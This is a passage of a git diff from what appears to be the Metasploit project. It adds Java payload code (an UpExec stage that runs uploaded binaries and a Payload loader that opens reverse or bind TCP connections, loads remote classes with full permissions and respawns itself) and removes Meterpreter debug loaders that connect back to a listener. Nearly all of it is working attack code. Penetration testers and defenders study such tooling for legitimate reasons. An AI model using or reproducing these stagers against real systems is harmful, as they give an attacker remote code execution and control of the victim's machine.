pout.println("~~~~~~~~~~~~~~");
|
||||
InetAddress addr = InetAddress.getLocalHost();
|
||||
pout.println("Name: "+addr.getHostName());
|
||||
pout.println("Canonical Name: "+addr.getCanonicalHostName());
|
||||
pout.println("IP Address: "+addr.getHostAddress());
|
||||
pout.println();
|
||||
pout.println("Network interfaces:");
|
||||
pout.println("~~~~~~~~~~~~~~~~~~~");
|
||||
for(final Enumeration e = NetworkInterface.getNetworkInterfaces(); e.hasMoreElements(); ) {
|
||||
NetworkInterface iface = (NetworkInterface) e.nextElement();
|
||||
pout.println(iface.getName());
|
||||
pout.println(" Display Name: "+iface.getDisplayName());
|
||||
for (final Enumeration e2 = iface.getInetAddresses(); e2.hasMoreElements(); ) {
|
||||
InetAddress ifaddr = (InetAddress) e2.nextElement();
|
||||
pout.println(" Address:");
|
||||
pout.println(" Name: "+ifaddr.getHostName());
|
||||
pout.println(" Canonical Name: "+ifaddr.getCanonicalHostName());
|
||||
pout.println(" IP Address: "+ifaddr.getHostAddress());
|
||||
}
|
||||
}
|
||||
pout.println();
|
||||
pout.println("External IP Address:");
|
||||
pout.println("~~~~~~~~~~~~~~~~~~~~");
|
||||
try {
|
||||
BufferedReader br = new BufferedReader(new InputStreamReader(new URL("http://www.ippages.com/simple/").openStream()));
|
||||
pout.println(br.readLine());
|
||||
br.close();
|
||||
} catch (Exception ex) {
|
||||
ex.printStackTrace(pout);
|
||||
}
|
||||
pout.println();
|
||||
pout.close();
|
||||
}
|
||||
}
|
71
java/src/javapayload/stage/UpExec.java
Normal file
71
java/src/javapayload/stage/UpExec.java
Normal file
@ -0,0 +1,71 @@
|
||||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
package javapayload.stage;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
public class UpExec implements Stage {
|
||||
|
||||
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||
final String tempfile = File.createTempFile("~upexec", null).getAbsolutePath();
|
||||
final int length = in.readInt();
|
||||
final byte[] data = new byte[length];
|
||||
in.readFully(data);
|
||||
final FileOutputStream fos = new FileOutputStream(tempfile);
|
||||
fos.write(data);
|
||||
fos.close();
|
||||
for (int i = 0; i < parameters.length; i++) {
|
||||
if (parameters[i].equals("--")) {
|
||||
// separator found. The next parameter will be the module name, and
|
||||
// all remaining parameters are for exec.
|
||||
final String[] cmdarray = new String[parameters.length - i - 2];
|
||||
System.arraycopy(parameters, i + 2, cmdarray, 0, cmdarray.length);
|
||||
cmdarray[0] = tempfile;
|
||||
final Process proc = Runtime.getRuntime().exec(cmdarray);
|
||||
new StreamForwarder(in, proc.getOutputStream(), out).start();
|
||||
new StreamForwarder(proc.getInputStream(), out, out).start();
|
||||
new StreamForwarder(proc.getErrorStream(), out, out).start();
|
||||
proc.waitFor();
|
||||
in.close();
|
||||
out.close();
|
||||
break;
|
||||
}
|
||||
}
|
||||
new File(tempfile).delete();
|
||||
}
|
||||
}
|
308
java/src/metasploit/Payload.java
Normal file
308
java/src/metasploit/Payload.java
Normal file
@ -0,0 +1,308 @@
|
||||
/*
|
||||
* Java Payloads loader class for Metasploit.
|
||||
*
|
||||
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
package metasploit;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.io.PrintStream;
|
||||
import java.net.ServerSocket;
|
||||
import java.net.Socket;
|
||||
import java.net.URL;
|
||||
import java.security.AllPermission;
|
||||
import java.security.CodeSource;
|
||||
import java.security.Permissions;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.security.cert.Certificate;
|
||||
import java.util.Locale;
|
||||
import java.util.Properties;
|
||||
import java.util.Stack;
|
||||
import java.util.StringTokenizer;
|
||||
|
||||
/**
|
||||
* The main payload loader class.
|
||||
*
|
||||
* To invoke all the magic, call the {@link #main(String[])} method
|
||||
* (Or use it as Main-Class in a standalone jar and double-click it).
|
||||
*/
|
||||
public class Payload extends ClassLoader {
|
||||
|
||||
public static void main(String[] ignored) throws Exception {
|
||||
// Find our properties. If we are running inside the jar, they are in a resource stream called "/metasploit.dat".
|
||||
Properties props = new Properties();
|
||||
Class clazz = Payload.class;
|
||||
String clazzFile = clazz.getName().replace('.', '/')+".class";
|
||||
InputStream propsStream = clazz.getResourceAsStream("/metasploit.dat");
|
||||
if (propsStream != null) {
|
||||
props.load(propsStream);
|
||||
propsStream.close();
|
||||
}
|
||||
|
||||
// check if we should respawn
|
||||
int spawn = Integer.parseInt(props.getProperty("Spawn", "0"));
|
||||
if (spawn > 0) {
|
||||
// decrease count so that eventually the process
|
||||
// will stop spawning
|
||||
props.setProperty("Spawn", String.valueOf(spawn - 1));
|
||||
// write our class
|
||||
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
|
||||
dummyTempFile.delete();
|
||||
File tempDir = new File(dummyTempFile.getAbsolutePath()+".dir");
|
||||
File propFile = new File(tempDir, "metasploit.dat");
|
||||
File classFile = new File(tempDir, clazzFile);
|
||||
classFile.getParentFile().mkdirs();
|
||||
// load ourselves via the class loader (works both on disk and from Jar)
|
||||
InputStream in = clazz.getResourceAsStream("/"+clazzFile);
|
||||
FileOutputStream fos = new FileOutputStream(classFile);
|
||||
byte[] buf = new byte[4096];
|
||||
int len;
|
||||
while ((len = in.read(buf)) != -1) {
|
||||
fos.write(buf,0,len);
|
||||
}
|
||||
fos.close();
|
||||
fos = new FileOutputStream(propFile);
|
||||
props.store(fos, "");
|
||||
fos.close();
|
||||
Process proc = Runtime.getRuntime().exec(new String[] {
|
||||
getJreExecutable("java"),
|
||||
"-classpath",
|
||||
tempDir.getAbsolutePath(),
|
||||
clazz.getName()
|
||||
});
|
||||
// the input streams might cause the child process to block if
|
||||
// we do not read or close them
|
||||
proc.getInputStream().close();
|
||||
proc.getErrorStream().close();
|
||||
|
||||
// give the process plenty of time to load the class if needed
|
||||
Thread.sleep(2000);
|
||||
|
||||
// clean up (we can even delete the .class file on Windows
|
||||
// if the process is still running). Note that delete()
|
||||
// will only delete empty directories, so we have to delete
|
||||
// everything else first
|
||||
File[] files = new File[] {
|
||||
classFile, classFile.getParentFile(), propFile, tempDir
|
||||
};
|
||||
for (int i = 0; i < files.length; i++) {
|
||||
for (int j = 0; j < 10; j++) {
|
||||
if (files[i].delete())
|
||||
break;
|
||||
files[i].deleteOnExit();
|
||||
Thread.sleep(100);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// check what stager to use (bind/reverse)
|
||||
int lPort = Integer.parseInt(props.getProperty("LPORT", "4444"));
|
||||
String lHost = props.getProperty("LHOST", null);
|
||||
InputStream in;
|
||||
OutputStream out;
|
||||
if (lPort <= 0) {
|
||||
// debug code: just connect to stdin/stdout
|
||||
// best used with embedded stages
|
||||
in = System.in;
|
||||
out = System.out;
|
||||
} else {
|
||||
Socket socket;
|
||||
if (lHost != null) {
|
||||
// reverse_tcp
|
||||
socket = new Socket(lHost, lPort);
|
||||
} else {
|
||||
// bind_tcp
|
||||
ServerSocket serverSocket = new ServerSocket(lPort);
|
||||
socket = serverSocket.accept();
|
||||
serverSocket.close(); // no need to listen any longer
|
||||
}
|
||||
in = socket.getInputStream();
|
||||
out = socket.getOutputStream();
|
||||
}
|
||||
|
||||
// build the stage parameters, if any
|
||||
StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- "+props.getProperty("StageParameters", ""), " ");
|
||||
String[] stageParams = new String[stageParamTokenizer.countTokens()];
|
||||
for (int i = 0; i < stageParams.length; i++) {
|
||||
stageParams[i] = stageParamTokenizer.nextToken();
|
||||
}
|
||||
new Payload().bootstrap(in, out, props.getProperty("EmbeddedStage", null),stageParams);
|
||||
}
|
||||
}
|
||||
|
||||
private final void bootstrap(InputStream rawIn, OutputStream out, String embeddedStageName, String[] stageParameters) throws Exception {
|
||||
try {
|
||||
final DataInputStream in = new DataInputStream(rawIn);
|
||||
Class clazz;
|
||||
final Permissions permissions = new Permissions();
|
||||
permissions.add(new AllPermission());
|
||||
final ProtectionDomain pd = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions);
|
||||
if (embeddedStageName == null) {
|
||||
int length = in.readInt();
|
||||
do {
|
||||
final byte[] classfile = new byte[length];
|
||||
in.readFully(classfile);
|
||||
resolveClass(clazz = defineClass(null, classfile, 0, length, pd));
|
||||
length = in.readInt();
|
||||
} while (length > 0);
|
||||
} else {
|
||||
clazz = Class.forName("javapayload.stage."+embeddedStageName);
|
||||
}
|
||||
final Object stage = clazz.newInstance();
|
||||
clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(stage, new Object[] { in, out, stageParameters });
|
||||
} catch (final Throwable t) {
|
||||
t.printStackTrace(new PrintStream(out));
|
||||
}
|
||||
}
|
||||
|
||||
///
|
||||
/// The rest of the file is based on code from Apache Ant 1.8.1
|
||||
///
|
||||
private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
|
||||
private static final String PATH_SEP = System.getProperty("path.separator");
|
||||
|
||||
private static final boolean IS_AIX = "aix".equals(OS_NAME);
|
||||
private static final boolean IS_DOS = PATH_SEP.equals(";");
|
||||
private static final String JAVA_HOME = System.getProperty("java.home");
|
||||
|
||||
private static String getJreExecutable(String command) {
|
||||
File jExecutable = null;
|
||||
|
||||
if (IS_AIX) {
|
||||
// On IBM's JDK 1.2 the directory layout is different, 1.3 follows
|
||||
// Sun's layout.
|
||||
jExecutable = findInDir(JAVA_HOME + "/sh", command);
|
||||
}
|
||||
|
||||
if (jExecutable == null) {
|
||||
jExecutable = findInDir(JAVA_HOME + "/bin", command);
|
||||
}
|
||||
|
||||
if (jExecutable != null) {
|
||||
return jExecutable.getAbsolutePath();
|
||||
} else {
|
||||
// Unfortunately on Windows java.home doesn't always refer
|
||||
// to the correct location, so we need to fall back to
|
||||
// assuming java is somewhere on the PATH.
|
||||
return addExtension(command);
|
||||
}
|
||||
}
|
||||
|
||||
private static String addExtension(String command) {
|
||||
// This is the most common extension case - exe for windows and OS/2,
|
||||
// nothing for *nix.
|
||||
return command + (IS_DOS ? ".exe" : "");
|
||||
}
|
||||
|
||||
private static File findInDir(String dirName, String commandName) {
|
||||
File dir = normalize(dirName);
|
||||
File executable = null;
|
||||
if (dir.exists()) {
|
||||
executable = new File(dir, addExtension(commandName));
|
||||
if (!executable.exists()) {
|
||||
executable = null;
|
||||
}
|
||||
}
|
||||
return executable;
|
||||
}
|
||||
|
||||
private static File normalize(final String path) {
|
||||
Stack s = new Stack();
|
||||
String[] dissect = dissect(path);
|
||||
s.push(dissect[0]);
|
||||
|
||||
StringTokenizer tok = new StringTokenizer(dissect[1], File.separator);
|
||||
while (tok.hasMoreTokens()) {
|
||||
String thisToken = tok.nextToken();
|
||||
if (".".equals(thisToken)) {
|
||||
continue;
|
||||
}
|
||||
if ("..".equals(thisToken)) {
|
||||
if (s.size() < 2) {
|
||||
// Cannot resolve it, so skip it.
|
||||
return new File(path);
|
||||
}
|
||||
s.pop();
|
||||
} else { // plain component
|
||||
s.push(thisToken);
|
||||
}
|
||||
}
|
||||
StringBuffer sb = new StringBuffer();
|
||||
for (int i = 0; i < s.size(); i++) {
|
||||
if (i > 1) {
|
||||
// not before the filesystem root and not after it, since root
|
||||
// already contains one
|
||||
sb.append(File.separatorChar);
|
||||
}
|
||||
sb.append(s.elementAt(i));
|
||||
}
|
||||
return new File(sb.toString());
|
||||
}
|
||||
|
||||
private static String[] dissect(String path) {
|
||||
char sep = File.separatorChar;
|
||||
path = path.replace('/', sep).replace('\\', sep);
|
||||
// make sure we are dealing with an absolute path
|
||||
String root = null;
|
||||
int colon = path.indexOf(':');
|
||||
if (colon > 0 && IS_DOS) {
|
||||
|
||||
int next = colon + 1;
|
||||
root = path.substring(0, next);
|
||||
char[] ca = path.toCharArray();
|
||||
root += sep;
|
||||
//remove the initial separator; the root has it.
|
||||
next = (ca[next] == sep) ? next + 1 : next;
|
||||
|
||||
StringBuffer sbPath = new StringBuffer();
|
||||
// Eliminate consecutive slashes after the drive spec:
|
||||
for (int i = next; i < ca.length; i++) {
|
||||
if (ca[i] != sep || ca[i - 1] != sep) {
|
||||
sbPath.append(ca[i]);
|
||||
}
|
||||
}
|
||||
path = sbPath.toString();
|
||||
} else if (path.length() > 1 && path.charAt(1) == sep) {
|
||||
// UNC drive
|
||||
int nextsep = path.indexOf(sep, 2);
|
||||
nextsep = path.indexOf(sep, nextsep + 1);
|
||||
root = (nextsep > 2) ? path.substring(0, nextsep + 1) : path;
|
||||
path = path.substring(root.length());
|
||||
} else {
|
||||
root = File.separator;
|
||||
path = path.substring(1);
|
||||
}
|
||||
return new String[] {root, path};
|
||||
}
|
||||
}
|
@ -1,35 +0,0 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.Socket;
|
||||
|
||||
/**
|
||||
* A loader that does not use the provided jars but loads all classes from the current classpath. Useful for debugging with the edit-and-continue feature enabled.
|
||||
*
|
||||
* @author mihi
|
||||
*/
|
||||
public class DebugLoader {
|
||||
/**
|
||||
* Main entry point.
|
||||
*/
|
||||
public static void main(String[] args) throws Exception {
|
||||
if (args.length < 2) {
|
||||
System.out.println("Usage: java com.metasploit.meterpreter.DebugLoader <LHOST> <LPORT> [<RedirectError>]");
|
||||
return;
|
||||
}
|
||||
Socket msgsock = new Socket(args[0], Integer.parseInt(args[1]));
|
||||
DataInputStream in = new DataInputStream(msgsock.getInputStream());
|
||||
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
|
||||
int coreLen = in.readInt();
|
||||
while (coreLen != 0) {
|
||||
in.readFully(new byte[coreLen]);
|
||||
coreLen = in.readInt();
|
||||
}
|
||||
coreLen = in.readInt();
|
||||
in.readFully(new byte[coreLen]);
|
||||
new com.metasploit.meterpreter.Meterpreter(in, out, false, args.length == 3);
|
||||
msgsock.close();
|
||||
}
|
||||
}
|
@ -1,35 +0,0 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.DataInputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.URL;
|
||||
|
||||
/**
|
||||
* A loader that does not use the provided jars but loads all classes from the current classpath. Useful for debugging with the edit-and-continue feature enabled.
|
||||
*
|
||||
* @author mihi
|
||||
*/
|
||||
public class URLDebugLoader {
|
||||
/**
|
||||
* Main entry point.
|
||||
*/
|
||||
public static void main(String[] args) throws Exception {
|
||||
if (args.length < 2) {
|
||||
System.out.println("Usage: java com.metasploit.meterpreter.URLDebugLoader <LHOST> <LPORT> [<RedirectError>]");
|
||||
return;
|
||||
}
|
||||
URL initURL = new URL("http://" + args[0] + ":" + args[1] + "/INITJM");
|
||||
DataInputStream in = new DataInputStream(initURL.openStream());
|
||||
OutputStream out = new DataOutputStream(new ByteArrayOutputStream());
|
||||
int coreLen = in.readInt();
|
||||
while (coreLen != 0) {
|
||||
in.readFully(new byte[coreLen]);
|
||||
coreLen = in.readInt();
|
||||
}
|
||||
coreLen = in.readInt();
|
||||
in.readFully(new byte[coreLen]);
|
||||
new com.metasploit.meterpreter.Meterpreter(in, out, false, args.length == 3);
|
||||
}
|
||||
}
|
@ -1,190 +0,0 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
/**
|
||||
* A meterpreter channel. Channels are basically a collection of streams to interact with. Specialized subclasses of this class may handle special channels.
|
||||
*
|
||||
* @author mihi
|
||||
*/
|
||||
public class Channel {
|
||||
|
||||
private final InputStream in;
|
||||
private final OutputStream out;
|
||||
private final int id;
|
||||
protected final Meterpreter meterpreter;
|
||||
private boolean active = false, closed = false, waiting = false;
|
||||
private byte[] toRead;
|
||||
|
||||
/**
|
||||
* Create a new "generic" channel.
|
||||
*
|
||||
* @param meterpreter
|
||||
* The meterpreter this channel should be assigned to.
|
||||
* @param in
|
||||
* Input stream of the channel
|
||||
* @param out
|
||||
* Output stream of the channel, if any
|
||||
*/
|
||||
public Channel(Meterpreter meterpreter, InputStream in, OutputStream out) {
|
||||
this.meterpreter = meterpreter;
|
||||
this.id = meterpreter.registerChannel(this);
|
||||
this.in = in;
|
||||
this.out = out;
|
||||
new InteractThread(in).start();
|
||||
}
|
||||
|
||||
/**
|
||||
* Close this channel and deregister it from the meterpreter.
|
||||
*/
|
||||
public synchronized void close() throws IOException {
|
||||
in.close();
|
||||
if (out != null)
|
||||
out.close();
|
||||
meterpreter.channelClosed(id);
|
||||
active = false;
|
||||
closed = true;
|
||||
notifyAll();
|
||||
}
|
||||
|
||||
/**
|
||||
* Check whether this channel is at end of file.
|
||||
*
|
||||
* Note that even if this returns false, a subsequent read might return <code>null</code> for EOF, when the channel's state switches from "no data available" to EOF between the two calls.
|
||||
*/
|
||||
public synchronized boolean isEOF() throws IOException {
|
||||
if (active)
|
||||
throw new IllegalStateException("Cannot read; currently interacting with this channel");
|
||||
// when we are just waiting to read the EOF, close it
|
||||
if (waiting && toRead == null)
|
||||
close();
|
||||
return closed;
|
||||
}
|
||||
|
||||
/**
|
||||
* Read at least one byte, and up to maxLength bytes from this stream.
|
||||
*
|
||||
* @param maxLength
|
||||
* The maximum number of bytes to read.
|
||||
* @return The bytes read, or <code>null</code> if the end of the stream has been reached.
|
||||
*/
|
||||
public synchronized byte[] read(int maxLength) throws IOException, InterruptedException {
|
||||
if (closed)
|
||||
return null;
|
||||
if (active)
|
||||
throw new IllegalStateException("Cannot read; currently interacting with this channel");
|
||||
while (!waiting || (toRead != null && toRead.length == 0))
|
||||
wait();
|
||||
if (toRead == null)
|
||||
return null;
|
||||
byte[] result = new byte[Math.min(toRead.length, maxLength)];
|
||||
System.arraycopy(toRead, 0, result, 0, result.length);
|
||||
byte[] rest = new byte[toRead.length - result.length];
|
||||
System.arraycopy(toRead, result.length, rest, 0, rest.length);
|
||||
toRead = rest;
|
||||
notifyAll();
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Write length bytes from the start of data to this channel.
|
||||
*
|
||||
* @param data
|
||||
* The data to write
|
||||
* @param length
|
||||
* The length to write
|
||||
*/
|
||||
public void write(byte[] data, int length, TLVPacket request) throws IOException {
|
||||
if (out == null)
|
||||
throw new IOException("Channel does not have an output stream");
|
||||
out.write(data, 0, length);
|
||||
out.flush();
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the ID of this channel.
|
||||
*/
|
||||
public int getID() {
|
||||
return id;
|
||||
}
|
||||
|
||||
/**
|
||||
* Start interacting with this channel.
|
||||
*/
|
||||
public synchronized void startInteract() {
|
||||
if (active)
|
||||
throw new IllegalStateException("Already interacting");
|
||||
active = true;
|
||||
notifyAll();
|
||||
}
|
||||
|
||||
/**
|
||||
* Stop interacting with this channel.
|
||||
*/
|
||||
public synchronized void stopInteract() {
|
||||
active = false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Called from the {@link InteractThread} to notify the meterpreter of new data available on this channel.
|
||||
*
|
||||
* @param data
|
||||
* The new data available, or <code>null</code> if EOF has been reached.
|
||||
*/
|
||||
protected synchronized void handleInteract(byte[] data) throws IOException, InterruptedException {
|
||||
while (waiting) {
|
||||
wait();
|
||||
}
|
||||
toRead = data;
|
||||
waiting = true;
|
||||
notifyAll();
|
||||
while (!active && !closed && (toRead == null || toRead.length > 0))
|
||||
wait();
|
||||
if ((toRead == null || toRead.length > 0) && !closed) {
|
||||
TLVPacket tlv = new TLVPacket();
|
||||
tlv.add(TLVType.TLV_TYPE_CHANNEL_ID, getID());
|
||||
String method;
|
||||
if (toRead == null) {
|
||||
method = "core_channel_close";
|
||||
close();
|
||||
} else {
|
||||
method = "core_channel_write";
|
||||
tlv.add(TLVType.TLV_TYPE_CHANNEL_DATA, toRead);
|
||||
tlv.add(TLVType.TLV_TYPE_LENGTH, toRead.length);
|
||||
}
|
||||
meterpreter.writeRequestPacket(method, tlv);
|
||||
}
|
||||
waiting = false;
|
||||
notifyAll();
|
||||
}
|
||||
|
||||
/**
|
||||
* A thread that polls the channel to provide information when interacting with this channel.
|
||||
*/
|
||||
protected class InteractThread extends Thread {
|
||||
private final InputStream stream;
|
||||
|
||||
public InteractThread(InputStream stream) {
|
||||
this.stream = stream;
|
||||
}
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
byte[] buffer = new byte[4096];
|
||||
int len;
|
||||
while ((len = stream.read(buffer)) != -1) {
|
||||
if (len == 0)
|
||||
continue;
|
||||
byte[] data = new byte[len];
|
||||
System.arraycopy(buffer, 0, data, 0, len);
|
||||
handleInteract(data);
|
||||
}
|
||||
handleInteract(null);
|
||||
} catch (Throwable t) {
|
||||
t.printStackTrace(meterpreter.getErrorStream());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,128 +0,0 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.Vector;
|
||||
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.metasploit.meterpreter.command.NotYetImplementedCommand;
|
||||
import com.metasploit.meterpreter.command.UnsupportedJavaVersionCommand;
|
||||
|
||||
/**
|
||||
* A registry for supported commands. Extensions will register their commands here.
|
||||
*
|
||||
* @author mihi
|
||||
*/
|
||||
public class CommandManager {
|
||||
|
||||
private final int javaVersion;
|
||||
private Map/* <String,Command> */registeredCommands = new HashMap();
|
||||
private Vector/* <String> */newCommands = new Vector();
|
||||
|
||||
protected CommandManager() throws Exception {
|
||||
// get the API version, which might be different from the
|
||||
// VM version, especially on some application servers
|
||||
// (adapted from org.apache.tools.ant.util.JavaEnvUtils).
|
||||
Class.forName("java.lang.Void");
|
||||
Class.forName("java.lang.ThreadLocal");
|
||||
int apiVersion = ExtensionLoader.V1_2;
|
||||
try {
|
||||
Class.forName("java.lang.StrictMath");
|
||||
apiVersion = ExtensionLoader.V1_3;
|
||||
Class.forName("java.lang.CharSequence");
|
||||
apiVersion = ExtensionLoader.V1_4;
|
||||
Class.forName("java.net.Proxy");
|
||||
apiVersion = ExtensionLoader.V1_5;
|
||||
Class.forName("java.util.ServiceLoader");
|
||||
apiVersion = ExtensionLoader.V1_6;
|
||||
} catch (Throwable t) {
|
||||
}
|
||||
int vmVersion = System.getProperty("java.version").charAt(2) - '2' + ExtensionLoader.V1_2;
|
||||
if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion)
|
||||
apiVersion = vmVersion;
|
||||
this.javaVersion = apiVersion;
|
||||
|
||||
// load core commands
|
||||
new com.metasploit.meterpreter.core.Loader().load(this);
|
||||
}
|
||||
|
||||
/**
|
||||
* Register a command that can be executed on all Java versions (from 1.2 onward)
|
||||
*
|
||||
* @param command
|
||||
* Name of the command
|
||||
* @param commandClass
|
||||
* Class that implements the command
|
||||
*/
|
||||
public void registerCommand(String command, Class commandClass) throws Exception {
|
||||
registerCommand(command, commandClass, ExtensionLoader.V1_2);
|
||||
}
|
||||
|
||||
/**
|
||||
* Register a command that can be executed only on some Java versions
|
||||
*
|
||||
* @param command
|
||||
* Name of the command
|
||||
* @param commandClass
|
||||
* Stub class for generating the class name that implements the command
|
||||
* @param version
|
||||
* Minimum Java version
|
||||
*/
|
||||
public void registerCommand(String command, Class commandClass, int version) throws Exception {
|
||||
registerCommand(command, commandClass, version, version);
|
||||
}
|
||||
|
||||
/**
|
||||
* Register a command that can be executed only on some Java versions, and has two different implementations for different Java versions.
|
||||
*
|
||||
* @param command
|
||||
* Name of the command
|
||||
* @param commandClass
|
||||
* Stub class for generating the class name that implements the command
|
||||
* @param version
|
||||
* Minimum Java version
|
||||
* @param secondVersion
|
||||
* Minimum Java version for the second implementation
|
||||
*/
|
||||
public void registerCommand(String command, Class commandClass, int version, int secondVersion) throws Exception {
|
||||
if (secondVersion < version)
|
||||
throw new IllegalArgumentException("secondVersion must be larger than version");
|
||||
if (javaVersion < version) {
|
||||
registeredCommands.put(command, new UnsupportedJavaVersionCommand(command, version));
|
||||
return;
|
||||
}
|
||||
if (javaVersion >= secondVersion)
|
||||
version = secondVersion;
|
||||
|
||||
if (version != ExtensionLoader.V1_2) {
|
||||
commandClass = commandClass.getClassLoader().loadClass(commandClass.getName() + "_V1_" + (version - 10));
|
||||
}
|
||||
Command cmd = (Command) commandClass.newInstance();
|
||||
registeredCommands.put(command, cmd);
|
||||
newCommands.add(command);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get a command for the given name.
|
||||
*/
|
||||
public Command getCommand(String name) {
|
||||
Command cmd = (Command) registeredCommands.get(name);
|
||||
if (cmd == null)
|
||||
cmd = NotYetImplementedCommand.INSTANCE;
|
||||
return cmd;
|
||||
}
|
||||
|
||||
/**
|
||||
* Reset the list of commands loaded by the last core_loadlib call
|
||||
*/
|
||||
public void resetNewCommands() {
|
||||
newCommands.clear();
|
||||
}
|
||||
|
||||
/**
|
||||
* Retrieves the list of commands loaded by the last core_loadlib call
|
||||
*/
|
||||
public String[] getNewCommands() {
|
||||
return (String[]) newCommands.toArray(new String[newCommands.size()]);
|
||||
}
|
||||
}
|
@ -1,23 +0,0 @@
|
||||
package com.metasploit.meterpreter;
|
||||
|
||||
/**
|
||||
* A loader class for an extension. This loader must be referenced in the jar manifest's Extension-Loader entry.
|
||||
*
|
||||
* @author mihi
|
||||
*/
|
||||
public interface ExtensionLoader {
|
||||
|
||||
public static final int V1_2 = 12;
|
||||
public static final int V1_3 = 13;
|
||||
public static final int V1_4 = 14;
|
||||
public static final int V1_5 = 15;
|
||||
public static final int V1_6 = 16;
|
||||
|
||||
/**
|
||||
* Load this extension.
|
||||
*
|
||||
* @param commandManager
|
||||
* command manager to load commands into.
|
||||
*/
|
||||
